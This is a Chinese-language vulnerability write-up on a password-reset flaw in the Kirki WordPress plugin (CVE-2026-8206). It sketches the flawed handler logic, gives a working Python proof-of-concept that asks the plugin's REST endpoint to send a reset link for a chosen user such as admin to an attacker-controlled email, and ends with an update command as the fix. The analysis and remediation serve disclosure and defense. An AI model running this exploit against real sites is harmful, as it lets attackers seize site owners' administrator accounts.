Kirki WordPress插件密码重置漏洞分析:50万网站面临账户接管风险

# 漏洞代码逻辑（简化示例）
# 位置: CompLibFormHandler class

def handle_forgot_password(self, request):
   # 从请求中获取用户名和邮箱参数
   username = request.get_param('username')
   user_email = request.get_param('email')
   
   # 验证用户名是否存在
   user = get_user_by_username(username)
   
   if user:
       # 漏洞: 直接使用请求中的邮箱，而非用户注册邮箱
       reset_url = generate_reset_token(user)
       send_email(user_email, reset_url)  # 发送到攻击者邮箱
       
# 正常逻辑应该检查:
# if user_email == user.registered_email:
#     send_email(user.registered_email, reset_url)

⚠ 仅供安全研究

# CVE-2026-8206 Kirki WordPress插件账户接管PoC
# 仅供安全研究使用

import requests
import json

def exploit_kirki(target_url, target_username, attacker_email):
   # Kirki插件REST API端点
   api_endpoint = target_url + "/wp-json/kirki/v1/forgot-password"
   
   # 构造恶意请求载荷
   payload = {
       "username": target_username,      # 目标用户名，如admin
       "email": attacker_email         # 攻击者控制的邮箱
   }
   
   try:
       response = requests.post(
           api_endpoint,
           json=payload,
           headers={"Content-Type": "application/json"},
           timeout=10
       )
       
       if response.status_code == 200:
           print("[+] 密码重置请求已发送!")
           print("[*] 检查邮箱 {0} 获取重置链接".format(attacker_email))
       else:
           print("[-] 请求失败，状态码:", response.status_code)
           
   except Exception as e:
       print("[-] 错误:", str(e))

# 使用示例
# python exploit.py https://example.com admin attacker@evil.com

修复与缓解

wp plugin update kirki --allow-root
# 或通过WordPress后台更新
# 仪表盘 > 插件 > Kirki Customizer > 更新

⚡ 紧急建议